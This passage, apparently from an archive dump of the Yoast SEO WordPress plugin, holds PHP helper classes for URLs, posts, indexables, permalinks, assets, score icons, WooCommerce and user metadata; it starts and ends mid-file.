	 * @return string Home URL with optional path, appropriately slashed if not.
	 */
	public function network_safe_home_url() {
		/**
		 * Action: 'wpseo_home_url' - Allows overriding of the home URL.
		 */
		\do_action( 'wpseo_home_url' );

		// If the plugin is network-activated, use the network home URL.
		if ( self::is_plugin_network_active() ) {
			return \network_home_url();
		}

		return \home_url();
	}

	/**
	 * Check whether a url is relative.
	 *
	 * @param string $url URL string to check.
	 *
	 * @return bool True when url is relative.
	 */
	public function is_relative( $url ) {
		return ( \strpos( $url, 'http' ) !== 0 && \strpos( $url, '//' ) !== 0 );
	}

	/**
	 * Gets the path from the passed URL.
	 *
	 * @param string $url The URL to get the path from.
	 *
	 * @return string The path of the URL. Returns an empty string if URL parsing fails.
	 */
	public function get_url_path( $url ) {
		if ( \is_string( $url ) === false
			&& ( \is_object( $url ) === false || \method_exists( $url, '__toString' ) === false )
		) {
			return '';
		}

		return (string) \wp_parse_url( $url, \PHP_URL_PATH );
	}

	/**
	 * Gets the host from the passed URL.
	 *
	 * @param string $url The URL to get the host from.
	 *
	 * @return string The host of the URL. Returns an empty string if URL parsing fails.
	 */
	public function get_url_host( $url ) {
		if ( \is_string( $url ) === false
			&& ( \is_object( $url ) === false || \method_exists( $url, '__toString' ) === false )
		) {
			return '';
		}

		return (string) \wp_parse_url( $url, \PHP_URL_HOST );
	}

	/**
	 * Determines the file extension of the given url.
	 *
	 * @param string $url The URL.
	 *
	 * @return string The extension.
	 */
	public function get_extension_from_url( $url ) {
		$path = $this->get_url_path( $url );

		if ( $path === '' ) {
			return '';
		}

		$parts = \explode( '.', $path );
		if ( empty( $parts ) || \count( $parts ) === 1 ) {
			return '';
		}

		return \end( $parts );
	}

	/**
	 * Ensures that the given url is an absolute url.
	 *
	 * @param string $url The url that needs to be absolute.
	 *
	 * @return string The absolute url.
	 */
	public function ensure_absolute_url( $url ) {
		if ( ! \is_string( $url ) || $url === '' ) {
			return $url;
		}

		if ( $this->is_relative( $url ) === true ) {
			return $this->build_absolute_url( $url );
		}

		return $url;
	}

	/**
	 * Parse the home URL setting to find the base URL for relative URLs.
	 *
	 * @param string|null $path Optional path string.
	 *
	 * @return string
	 */
	public function build_absolute_url( $path = null ) {
		$path      = \wp_parse_url( $path, \PHP_URL_PATH );
		$url_parts = \wp_parse_url( \home_url() );

		$base_url = \trailingslashit( $url_parts['scheme'] . '://' . $url_parts['host'] );

		if ( ! \is_null( $path ) ) {
			$base_url .= \ltrim( $path, '/' );
		}

		return $base_url;
	}

	/**
	 * Returns the link type.
	 *
	 * @param array      $url      The URL, as parsed by wp_parse_url.
	 * @param array|null $home_url Optional. The home URL, as parsed by wp_parse_url. Used to avoid reparsing the home_url.
	 * @param bool       $is_image Whether or not the link is an image.
	 *
	 * @return string The link type.
	 */
	public function get_link_type( $url, $home_url = null, $is_image = false ) {
		// If there is no scheme and no host the link is always internal.
		// Beware, checking just the scheme isn't enough as a link can be //yoast.com for instance.
		if ( empty( $url['scheme'] ) && empty( $url['host'] ) ) {
			return ( $is_image ) ? SEO_Links::TYPE_INTERNAL_IMAGE : SEO_Links::TYPE_INTERNAL;
		}

		// If there is a scheme but it's not http(s) then the link is always external.
		if ( \array_key_exists( 'scheme', $url ) && ! \in_array( $url['scheme'], [ 'http', 'https' ], true ) ) {
			return ( $is_image ) ? SEO_Links::TYPE_EXTERNAL_IMAGE : SEO_Links::TYPE_EXTERNAL;
		}

		if ( \is_null( $home_url ) ) {
			$home_url = \wp_parse_url( \home_url() );
		}

		// When the base host is equal to the host.
		if ( isset( $url['host'] ) && $url['host'] !== $home_url['host'] ) {
			return ( $is_image ) ? SEO_Links::TYPE_EXTERNAL_IMAGE : SEO_Links::TYPE_EXTERNAL;
		}

		// There is no base path and thus all URLs of the same domain are internal.
		if ( empty( $home_url['path'] ) ) {
			return ( $is_image ) ? SEO_Links::TYPE_INTERNAL_IMAGE : SEO_Links::TYPE_INTERNAL;
		}

		// When there is a path and it matches the start of the url.
		if ( isset( $url['path'] ) && \strpos( $url['path'], $home_url['path'] ) === 0 ) {
			return ( $is_image ) ? SEO_Links::TYPE_INTERNAL_IMAGE : SEO_Links::TYPE_INTERNAL;
		}

		return ( $is_image ) ? SEO_Links::TYPE_EXTERNAL_IMAGE : SEO_Links::TYPE_EXTERNAL;
	}

	/**
	 * Recreate current URL.
	 *
	 * @param bool $with_request_uri Whether we want the REQUEST_URI appended.
	 *
	 * @return string
	 */
	public function recreate_current_url( $with_request_uri = true ) {
		$current_url = 'http';
		if ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on' ) {
			$current_url .= 's';
		}
		$current_url .= '://';

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary.
		$suffix = ( $with_request_uri && isset( $_SERVER['REQUEST_URI'] ) ) ? $_SERVER['REQUEST_URI'] : '';

		if ( isset( $_SERVER['SERVER_NAME'] ) && ! empty( $_SERVER['SERVER_NAME'] ) ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary.
			$server_name = $_SERVER['SERVER_NAME'];
		}
		else {
			// Early return with just the path.
			return $suffix;
		}

		$server_port = '';
		if ( isset( $_SERVER['SERVER_PORT'] ) && $_SERVER['SERVER_PORT'] !== '80' && $_SERVER['SERVER_PORT'] !== '443' ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary.
			$server_port = $_SERVER['SERVER_PORT'];
		}

		if ( ! empty( $server_port ) ) {
			$current_url .= $server_name . ':' . $server_port . $suffix;
		}
		else {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary.
			$current_url .= $server_name . $suffix;
		}

		return $current_url;
	}

	/**
	 * Parses a URL and returns its components, this wrapper function was created to support unit tests.
	 *
	 * @param string $parsed_url The URL to parse.
	 * @return array The parsed components of the URL.
	 */
	public function parse_str_params( $parsed_url ) {
		$array = [];

		// @todo parse_str changes spaces in param names into `_`, we should find a better way to support them.
		\wp_parse_str( $parsed_url, $array );

		return $array;
	}
}
wordpress-seo/src/helpers/post-helper.php000064400000012666147510273100014577 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Post;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * A helper object for post related things.
 */
class Post_Helper {

	/**
	 * Holds the String_Helper instance.
	 *
	 * @var String_Helper
	 */
	private $string;

	/**
	 * Holds the Post_Type_Helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * Represents the indexables repository.
	 *
	 * @var Indexable_Repository
	 */
	private $repository;

	/**
	 * Post_Helper constructor.
	 *
	 * @codeCoverageIgnore It only sets dependencies.
	 *
	 * @param String_Helper    $string_helper    The string helper.
	 * @param Post_Type_Helper $post_type_helper The string helper.
	 */
	public function __construct(
		String_Helper $string_helper,
		Post_Type_Helper $post_type_helper
	) {
		$this->string    = $string_helper;
		$this->post_type = $post_type_helper;
	}

	/**
	 * Sets the indexable repository. Done to avoid circular dependencies.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $repository The indexable repository.
	 *
	 * @return void
	 */
	public function set_indexable_repository( Indexable_Repository $repository ) {
		$this->repository = $repository;
	}

	/**
	 * Removes all shortcode tags from the given content.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param string $content Content to remove all the shortcode tags from.
	 *
	 * @return string Content without shortcode tags.
	 */
	public function strip_shortcodes( $content ) {
		return \strip_shortcodes( $content );
	}

	/**
	 * Retrieves the post excerpt (without tags).
	 *
	 * @codeCoverageIgnore It only wraps another helper method.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return string Post excerpt (without tags).
	 */
	public function get_the_excerpt( $post_id ) {
		return $this->string->strip_all_tags( \get_the_excerpt( $post_id ) );
	}

	/**
	 * Retrieves the post type of the current post.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param WP_Post|null $post The post.
	 *
	 * @return string|false Post type on success, false on failure.
	 */
	public function get_post_type( $post = null ) {
		return \get_post_type( $post );
	}

	/**
	 * Retrieves the post title with fallback to `No title`.
	 *
	 * @param int $post_id Optional. Post ID.
	 *
	 * @return string The post title with fallback to `No title`.
	 */
	public function get_post_title_with_fallback( $post_id = 0 ) {
		$post_title = \get_the_title( $post_id );
		if ( $post_title ) {
			return $post_title;
		}

		return \__( 'No title', 'wordpress-seo' );
	}

	/**
	 * Retrieves post data given a post ID.
	 *
	 * @codeCoverageIgnore It wraps a WordPress function.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return WP_Post|null The post.
	 */
	public function get_post( $post_id ) {
		return \get_post( $post_id );
	}

	/**
	 * Updates the has_public_posts field on attachments for a post_parent.
	 *
	 * An attachment is represented by their post parent when:
	 * - The attachment has a post parent.
	 * - The attachment inherits the post status.
	 *
	 * @codeCoverageIgnore It relies too much on dependencies.
	 *
	 * @param int $post_parent      Post ID.
	 * @param int $has_public_posts Whether the parent is public.
	 *
	 * @return bool Whether the update was successful.
	 */
	public function update_has_public_posts_on_attachments( $post_parent, $has_public_posts ) {
		$query = $this->repository->query()
			->select( 'id' )
			->where( 'object_type', 'post' )
			->where( 'object_sub_type', 'attachment' )
			->where( 'post_status', 'inherit' )
			->where( 'post_parent', $post_parent );

		if ( $has_public_posts !== null ) {
			$query->where_raw( '( has_public_posts IS NULL OR has_public_posts <> %s )', [ $has_public_posts ] );
		}
		else {
			$query->where_not_null( 'has_public_posts' );
		}
		$results = $query->find_array();

		if ( empty( $results ) ) {
			return true;
		}

		$updated = $this->repository->query()
			->set( 'has_public_posts', $has_public_posts )
			->where_id_in( \wp_list_pluck( $results, 'id' ) )
			->update_many();

		return $updated !== false;
	}

	/**
	 * Determines if the post can be indexed.
	 *
	 * @param int $post_id Post ID to check.
	 *
	 * @return bool True if the post can be indexed.
	 */
	public function is_post_indexable( $post_id ) {
		// Don't index posts which are not public (i.e. viewable).
		$post_type = \get_post_type( $post_id );

		if ( ! $this->post_type->is_of_indexable_post_type( $post_type ) ) {
			return false;
		}

		// Don't index excluded post statuses.
		if ( \in_array( \get_post_status( $post_id ), $this->get_excluded_post_statuses(), true ) ) {
			return false;
		}

		// Don't index revisions of posts.
		if ( \wp_is_post_revision( $post_id ) ) {
			return false;
		}

		// Don't index autosaves that are not caught by the auto-draft check.
		if ( \wp_is_post_autosave( $post_id ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Retrieves the list of excluded post statuses.
	 *
	 * @return array The excluded post statuses.
	 */
	public function get_excluded_post_statuses() {
		return [ 'auto-draft' ];
	}

	/**
	 * Retrieves the list of public posts statuses.
	 *
	 * @return array The public post statuses.
	 */
	public function get_public_post_statuses() {
		/**
		 * Filter: 'wpseo_public_post_statuses' - List of public post statuses.
		 *
		 * @param array $post_statuses Post status list, defaults to array( 'publish' ).
		 */
		return \apply_filters( 'wpseo_public_post_statuses', [ 'publish' ] );
	}
}
wordpress-seo/src/helpers/site-helper.php000064400000001066147510273100014546 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for site options.
 */
class Site_Helper {

	/**
	 * Retrieves the site name.
	 *
	 * @return string
	 */
	public function get_site_name() {
		return \wp_strip_all_tags( \get_bloginfo( 'name' ), true );
	}

	/**
	 * Checks if the current installation is a multisite and there has been a switch
	 * between the set multisites.
	 *
	 * @return bool True when there was a switch between the multisites.
	 */
	public function is_multisite_and_switched() {
		return \is_multisite() && \ms_is_switched();
	}
}
wordpress-seo/src/helpers/permalink-helper.php000064400000002406147510273100015563 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Models\Indexable;

/**
 * A helper object for permalinks.
 */
class Permalink_Helper {

	/**
	 * Retrieves the permalink for an indexable.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return string|null The permalink.
	 */
	public function get_permalink_for_indexable( $indexable ) {
		switch ( true ) {
			case $indexable->object_type === 'post':
				if ( $indexable->object_sub_type === 'attachment' ) {
					return \wp_get_attachment_url( $indexable->object_id );
				}
				return \get_permalink( $indexable->object_id );
			case $indexable->object_type === 'home-page':
				return \home_url( '/' );
			case $indexable->object_type === 'term':
				$term = \get_term( $indexable->object_id );

				if ( $term === null || \is_wp_error( $term ) ) {
					return null;
				}

				return \get_term_link( $term, $term->taxonomy );
			case $indexable->object_type === 'system-page' && $indexable->object_sub_type === 'search-page':
				return \get_search_link();
			case $indexable->object_type === 'post-type-archive':
				return \get_post_type_archive_link( $indexable->object_sub_type );
			case $indexable->object_type === 'user':
				return \get_author_posts_url( $indexable->object_id );
		}

		return null;
	}
}
wordpress-seo/src/helpers/indexable-helper.php000064400000021764147510273100015544 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * A helper object for indexables.
 */
class Indexable_Helper {

	/**
	 * Represents the indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Represents the environment helper.
	 *
	 * @var Environment_Helper
	 */
	protected $environment_helper;

	/**
	 * Represents the indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * Default values of certain columns.
	 *
	 * @var array
	 */
	protected $default_values = [
		'title'                  => [
			'default_value'   => null,
		],
		'description'            => [
			'default_value'   => null,
		],
		'open_graph_title'       => [
			'default_value'   => null,
		],
		'open_graph_description' => [
			'default_value'   => null,
		],
		'twitter_title'          => [
			'default_value'   => null,
		],
		'twitter_description'    => [
			'default_value'   => null,
		],
		'canonical'              => [
			'default_value'   => null,
		],
		'primary_focus_keyword'  => [
			'default_value'   => null,
		],
		'is_robots_noindex'      => [
			'default_value'   => null,
		],
		'is_robots_nofollow'     => [
			'default_value'   => false,
		],
		'is_robots_noarchive'    => [
			'default_value'   => null,
		],
		'is_robots_noimageindex' => [
			'default_value'   => null,
		],
		'is_robots_nosnippet'    => [
			'default_value'   => null,
		],
	];

	/**
	 * Indexable_Helper constructor.
	 *
	 * @param Options_Helper     $options_helper     The options helper.
	 * @param Environment_Helper $environment_helper The environment helper.
	 * @param Indexing_Helper    $indexing_helper    The indexing helper.
	 */
	public function __construct( Options_Helper $options_helper, Environment_Helper $environment_helper, Indexing_Helper $indexing_helper ) {
		$this->options_helper     = $options_helper;
		$this->environment_helper = $environment_helper;
		$this->indexing_helper    = $indexing_helper;
	}

	/**
	 * Sets the indexable repository. Done to avoid circular dependencies.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $repository The indexable repository.
	 *
	 * @return void
	 */
	public function set_indexable_repository( Indexable_Repository $repository ) {
		$this->repository = $repository;
	}

	/**
	 * Returns the page type of an indexable.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return string|false The page type. False if it could not be determined.
	 */
	public function get_page_type_for_indexable( $indexable ) {
		switch ( $indexable->object_type ) {
			case 'post':
				$front_page_id = (int) \get_option( 'page_on_front' );
				if ( $indexable->object_id === $front_page_id ) {
					return 'Static_Home_Page';
				}
				$posts_page_id = (int) \get_option( 'page_for_posts' );
				if ( $indexable->object_id === $posts_page_id ) {
					return 'Static_Posts_Page';
				}

				return 'Post_Type';
			case 'term':
				return 'Term_Archive';
			case 'user':
				return 'Author_Archive';
			case 'home-page':
				return 'Home_Page';
			case 'post-type-archive':
				return 'Post_Type_Archive';
			case 'date-archive':
				return 'Date_Archive';
			case 'system-page':
				if ( $indexable->object_sub_type === 'search-result' ) {
					return 'Search_Result_Page';
				}
				if ( $indexable->object_sub_type === '404' ) {
					return 'Error_Page';
				}
		}

		return false;
	}

	/**
	 * Resets the permalinks of the indexables.
	 *
	 * @param string|null $type    The type of the indexable.
	 * @param string|null $subtype The subtype. Can be null.
	 * @param string      $reason  The reason that the permalink has been changed.
	 *
	 * @return void
	 */
	public function reset_permalink_indexables( $type = null, $subtype = null, $reason = Indexing_Reasons::REASON_PERMALINK_SETTINGS ) {
		$result = $this->repository->reset_permalink( $type, $subtype );

		$this->indexing_helper->set_reason( $reason );

		if ( $result !== false && $result > 0 ) {
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Post_Type_Archive_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
		}
	}

	/**
	 * Determines whether indexing the specific indexable is appropriate at this time.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool Whether indexing the specific indexable is appropriate at this time.
	 */
	public function should_index_indexable( $indexable ) {
		$intend_to_save = $this->should_index_indexables();

		/**
		 * Filter: 'wpseo_should_save_indexable' - Allow developers to enable / disable
		 * saving the indexable when the indexable is updated. Warning: overriding
		 * the intended action may cause problems when moving from a staging to a
		 * production environment because indexable permalinks may get set incorrectly.
		 *
		 * @param bool      $intend_to_save True if YoastSEO intends to save the indexable.
		 * @param Indexable $indexable      The indexable to be saved.
		 */
		return \apply_filters( 'wpseo_should_save_indexable', $intend_to_save, $indexable );
	}

	/**
	 * Determines whether indexing indexables is appropriate at this time.
	 *
	 * @return bool Whether the indexables should be indexed.
	 */
	public function should_index_indexables() {
		// Currently, the only reason to index is when we're on a production website.
		$should_index = $this->environment_helper->is_production_mode();

		/**
		 * Filter: 'Yoast\WP\SEO\should_index_indexables' - Allow developers to enable / disable
		 * creating indexables. Warning: overriding
		 * the intended action may cause problems when moving from a staging to a
		 * production environment because indexable permalinks may get set incorrectly.
		 *
		 * @since 18.2
		 *
		 * @param bool $should_index Whether the site's indexables should be created.
		 */
		return (bool) \apply_filters( 'Yoast\WP\SEO\should_index_indexables', $should_index );
	}

	/**
	 * Returns whether or not dynamic permalinks should be used.
	 *
	 * @return bool Whether or not the dynamic permalinks should be used.
	 */
	public function dynamic_permalinks_enabled() {
		/**
		 * Filters the value of the `dynamic_permalinks` option.
		 *
		 * @param bool $value The value of the `dynamic_permalinks` option.
		 */
		return (bool) \apply_filters( 'wpseo_dynamic_permalinks_enabled', $this->options_helper->get( 'dynamic_permalinks', false ) );
	}

	/**
	 * Sets a boolean to indicate that the indexing of the indexables has completed.
	 *
	 * @return void
	 */
	public function finish_indexing() {
		$this->options_helper->set( 'indexables_indexing_completed', true );
	}

	/**
	 * Checks whether the indexable has default values in given fields.
	 *
	 * @param Indexable $indexable The Yoast indexable that we're checking.
	 * @param array     $fields    The Yoast indexable fields that we're checking against.
	 *
	 * @return bool Whether the indexable has default values.
	 */
	public function check_if_default_indexable( $indexable, $fields ) {
		foreach ( $fields as $field ) {
			$is_default = $this->check_if_default_field( $indexable, $field );
			if ( ! $is_default ) {
				break;
			}
		}

		return $is_default;
	}

	/**
	 * Checks if an indexable field contains the default value.
	 *
	 * @param Indexable $indexable The Yoast indexable that we're checking.
	 * @param string    $field     The field that we're checking.
	 *
	 * @return bool True if default value.
	 */
	public function check_if_default_field( $indexable, $field ) {
		$defaults = $this->default_values;
		if ( ! isset( $defaults[ $field ] ) ) {
			return false;
		}

		if ( $indexable->$field === $defaults[ $field ]['default_value'] ) {
			return true;
		}

		return false;
	}

	/**
	 * Saves and returns an indexable (on production environments only).
	 *
	 * Moved from Yoast\WP\SEO\Builders\Indexable_Builder.
	 *
	 * @param Indexable      $indexable        The indexable.
	 * @param Indexable|null $indexable_before The indexable before possible changes.
	 *
	 * @return bool True if default value.
	 */
	public function save_indexable( $indexable, $indexable_before = null ) {
		if ( ! $this->should_index_indexable( $indexable ) ) {
			return $indexable;
		}

		// Save the indexable before running the WordPress hook.
		$indexable->save();

		if ( $indexable_before ) {
			/**
			 * Action: 'wpseo_save_indexable' - Allow developers to perform an action
			 * when the indexable is updated.
			 *
			 * @param Indexable $indexable        The saved indexable.
			 * @param Indexable $indexable_before The indexable before saving.
			 */
			\do_action( 'wpseo_save_indexable', $indexable, $indexable_before );
		}

		return $indexable;
	}
}
wordpress-seo/src/helpers/wordpress-helper.php000064400000001000147510273100015616 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

// phpcs:disable WordPress.WP.CapitalPDangit.MisspelledClassName -- It is spelled like `Wordpress_Helper` because of Yoast's naming conventions for classes, which would otherwise break dependency injection in some cases.

/**
 * A helper object for WordPress matters.
 */
class Wordpress_Helper {

	/**
	 * Returns the WordPress version.
	 *
	 * @return string The version.
	 */
	public function get_wordpress_version() {
		global $wp_version;

		return $wp_version;
	}
}
wordpress-seo/src/helpers/asset-helper.php000064400000005014147510273100014716 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for author archives.
 */
class Asset_Helper {

	/**
	 * Recursively retrieves all dependency urls of a given handle.
	 *
	 * @param string $handle The handle.
	 *
	 * @return string[] All dependency urls of the given handle.
	 */
	public function get_dependency_urls_by_handle( $handle ) {
		$urls = [];

		foreach ( $this->get_dependency_handles( $handle ) as $other_handle ) {
			$urls[ $other_handle ] = $this->get_asset_url( $other_handle );
		}

		return $urls;
	}

	/**
	 * Recursively retrieves all dependencies of a given handle.
	 *
	 * @param string $handle The handle.
	 *
	 * @return string[] All dependencies of the given handle.
	 */
	public function get_dependency_handles( $handle ) {
		$scripts = \wp_scripts();

		if ( ! isset( $scripts->registered[ $handle ] ) ) {
			return [];
		}

		$obj  = $scripts->registered[ $handle ];
		$deps = $obj->deps;
		foreach ( $obj->deps as $other_handle ) {
			$nested_deps = $this->get_dependency_handles( $other_handle );
			if ( ! $nested_deps ) {
				continue;
			}

			// Place nested dependencies before primary dependencies, they need to be loaded first.
			$deps = \array_merge( $nested_deps, $deps );
		}

		// Array unique keeps the first of each element so dependencies will be as early as they're required.
		return \array_values( \array_unique( $deps ) );
	}

	/**
	 * Gets the URL of a given asset.
	 *
	 * This logic is copied from WP_Scripts::do_item as unfortunately that logic is not properly isolated.
	 *
	 * @param string $handle The handle of the asset.
	 *
	 * @return string|false The URL of the asset or false if the asset does not exist.
	 */
	public function get_asset_url( $handle ) {
		$scripts = \wp_scripts();

		if ( ! isset( $scripts->registered[ $handle ] ) ) {
			return false;
		}

		$obj = $scripts->registered[ $handle ];

		if ( $obj->ver === null ) {
			$ver = '';
		}
		else {
			$ver = ( $obj->ver ) ? $obj->ver : $scripts->default_version;
		}
		if ( isset( $scripts->args[ $handle ] ) ) {
			$ver = ( $ver ) ? $ver . '&amp;' . $scripts->args[ $handle ] : $scripts->args[ $handle ];
		}

		$src = $obj->src;

		if ( ! \preg_match( '|^(https?:)?//|', $src ) && ! ( $scripts->content_url && \strpos( $src, $scripts->content_url ) === 0 ) ) {
			$src = $scripts->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = \add_query_arg( 'ver', $ver, $src );
		}

		/** This filter is documented in wp-includes/class.wp-scripts.php */
		return \esc_url( \apply_filters( 'script_loader_src', $src, $handle ) );
	}
}
wordpress-seo/src/helpers/score-icon-helper.php000064400000005436147510273100015650 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Rank;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presenters\Score_Icon_Presenter;

/**
 * A helper object for score icons.
 */
class Score_Icon_Helper {

	/**
	 * Holds the Robots_Helper.
	 *
	 * @var Robots_Helper
	 */
	protected $robots_helper;

	/**
	 * Constructs a Score_Helper.
	 *
	 * @param Robots_Helper $robots_helper The Robots_Helper.
	 */
	public function __construct( Robots_Helper $robots_helper ) {
		$this->robots_helper = $robots_helper;
	}

	/**
	 * Creates a Score_Icon_Presenter for the readability analysis.
	 *
	 * @param int    $score       The readability analysis score.
	 * @param string $extra_class Optional. Any extra class.
	 *
	 * @return Score_Icon_Presenter The Score_Icon_Presenter.
	 */
	public function for_readability( $score, $extra_class = '' ) {
		$rank  = WPSEO_Rank::from_numeric_score( (int) $score );
		$class = $rank->get_css_class();
		if ( $extra_class ) {
			$class .= " $extra_class";
		}

		return new Score_Icon_Presenter( $rank->get_label(), $class );
	}

	/**
	 * Creates a Score_Icon_Presenter for the inclusive language analysis.
	 *
	 * @param int    $score       The inclusive language analysis score.
	 * @param string $extra_class Optional. Any extra class.
	 *
	 * @return Score_Icon_Presenter The Score_Icon_Presenter.
	 */
	public function for_inclusive_language( $score, $extra_class = '' ) {
		$rank  = WPSEO_Rank::from_numeric_score( (int) $score );
		$class = $rank->get_css_class();
		if ( $extra_class ) {
			$class .= " $extra_class";
		}

		return new Score_Icon_Presenter( $rank->get_inclusive_language_label(), $class );
	}

	/**
	 * Creates a Score_Icon_Presenter for the SEO analysis from an indexable.
	 *
	 * @param Indexable|false $indexable      The Indexable.
	 * @param string          $extra_class    Optional. Any extra class.
	 * @param string          $no_index_title Optional. Override the title when not indexable.
	 *
	 * @return Score_Icon_Presenter The Score_Icon_Presenter.
	 */
	public function for_seo( $indexable, $extra_class = '', $no_index_title = '' ) {
		$is_indexable = $indexable && $this->robots_helper->is_indexable( $indexable );

		if ( ! $is_indexable ) {
			$rank  = new WPSEO_Rank( WPSEO_Rank::NO_INDEX );
			$title = empty( $no_index_title ) ? $rank->get_label() : $no_index_title;
		}
		elseif ( empty( $indexable && $indexable->primary_focus_keyword ) ) {
			$rank  = new WPSEO_Rank( WPSEO_Rank::BAD );
			$title = \__( 'Focus keyphrase not set', 'wordpress-seo' );
		}
		else {
			$rank  = WPSEO_Rank::from_numeric_score( ( $indexable ) ? $indexable->primary_focus_keyword_score : 0 );
			$title = $rank->get_label();
		}

		$class = $rank->get_css_class();
		if ( $extra_class ) {
			$class .= " $extra_class";
		}

		return new Score_Icon_Presenter( $title, $class );
	}
}
wordpress-seo/src/helpers/woocommerce-helper.php000064400000002440147510273100016116 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Represents helper methods for WooCommerce.
 */
class Woocommerce_Helper {

	/**
	 * Checks if WooCommerce is active.
	 *
	 * @return bool Is WooCommerce active.
	 */
	public function is_active() {
		return \class_exists( 'WooCommerce' );
	}

	/**
	 * Returns the id of the set WooCommerce shop page.
	 *
	 * @return int The ID of the set page.
	 */
	public function get_shop_page_id() {
		if ( ! \function_exists( 'wc_get_page_id' ) ) {
			return -1;
		}

		return \wc_get_page_id( 'shop' );
	}

	/**
	 * Checks if the current page is a WooCommerce shop page.
	 *
	 * @return bool True when the page is a shop page.
	 */
	public function is_shop_page() {
		if ( ! \function_exists( 'is_shop' ) ) {
			return false;
		}

		if ( ! \is_shop() ) {
			return false;
		}

		if ( \is_search() ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the current page is a WooCommerce shop page.
	 *
	 * @return bool True when the page is a shop page.
	 */
	public function current_post_is_terms_and_conditions_page() {
		if ( ! \function_exists( 'wc_terms_and_conditions_page_id' ) ) {
			return false;
		}

		global $post;

		if ( ! isset( $post->ID ) ) {
			return false;
		}

		return \intval( $post->ID ) === \intval( \wc_terms_and_conditions_page_id() );
	}
}
wordpress-seo/src/helpers/user-helper.php000064400000007672147510273100014571 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for the user.
 */
class User_Helper {

	/**
	 * Retrieves user meta field for a user.
	 *
	 * @param int    $user_id User ID.
	 * @param string $key     Optional. The meta key to retrieve. By default, returns data for all keys.
	 * @param bool   $single  Whether to return a single value.
	 *
	 * @return mixed Will be an array if $single is false. Will be value of meta data field if $single is true.
	 */
	public function get_meta( $user_id, $key = '', $single = false ) {
		return \get_user_meta( $user_id, $key, $single );
	}

	/**
	 * Counts the number of posts the user has written in this post type.
	 *
	 * @param int          $user_id   User ID.
	 * @param array|string $post_type Optional. Single post type or array of post types to count the number of posts
	 *                                for. Default 'post'.
	 *
	 * @return int The number of posts the user has written in this post type.
	 */
	public function count_posts( $user_id, $post_type = 'post' ) {
		return (int) \count_user_posts( $user_id, $post_type, true );
	}

	/**
	 * Retrieves the requested data of the author.
	 *
	 * @param string    $field   The user field to retrieve.
	 * @param int|false $user_id User ID.
	 *
	 * @return string The author's field from the current author's DB object.
	 */
	public function get_the_author_meta( $field, $user_id ) {
		return \get_the_author_meta( $field, $user_id );
	}

	/**
	 * Retrieves the archive url of the user.
	 *
	 * @param int|false $user_id User ID.
	 *
	 * @return string The author's archive url.
	 */
	public function get_the_author_posts_url( $user_id ) {
		return \get_author_posts_url( $user_id );
	}

	/**
	 * Retrieves the current user ID.
	 *
	 * @return int The current user's ID, or 0 if no user is logged in.
	 */
	public function get_current_user_id() {
		return \get_current_user_id();
	}

	/**
	 * Returns the current users display_name.
	 *
	 * @return string
	 */
	public function get_current_user_display_name(): string {
		$user = \wp_get_current_user();
		if ( $user && $user->display_name ) {
			return $user->display_name;
		}

		return '';
	}

	/**
	 * Updates user meta field for a user.
	 *
	 * Use the $prev_value parameter to differentiate between meta fields with the
	 * same key and user ID.
	 *
	 * If the meta field for the user does not exist, it will be added.
	 *
	 * @param int    $user_id    User ID.
	 * @param string $meta_key   Metadata key.
	 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param mixed  $prev_value Optional. Previous value to check before updating.
	 *                           If specified, only update existing metadata entries with
	 *                           this value. Otherwise, update all entries. Default empty.
	 *
	 * @return int|bool Meta ID if the key didn't exist, true on successful update,
	 *                  false on failure or if the value passed to the function
	 *                  is the same as the one that is already in the database.
	 */
	public function update_meta( $user_id, $meta_key, $meta_value, $prev_value = '' ) {
		return \update_user_meta( $user_id, $meta_key, $meta_value, $prev_value );
	}

	/**
	 * Removes metadata matching criteria from a user.
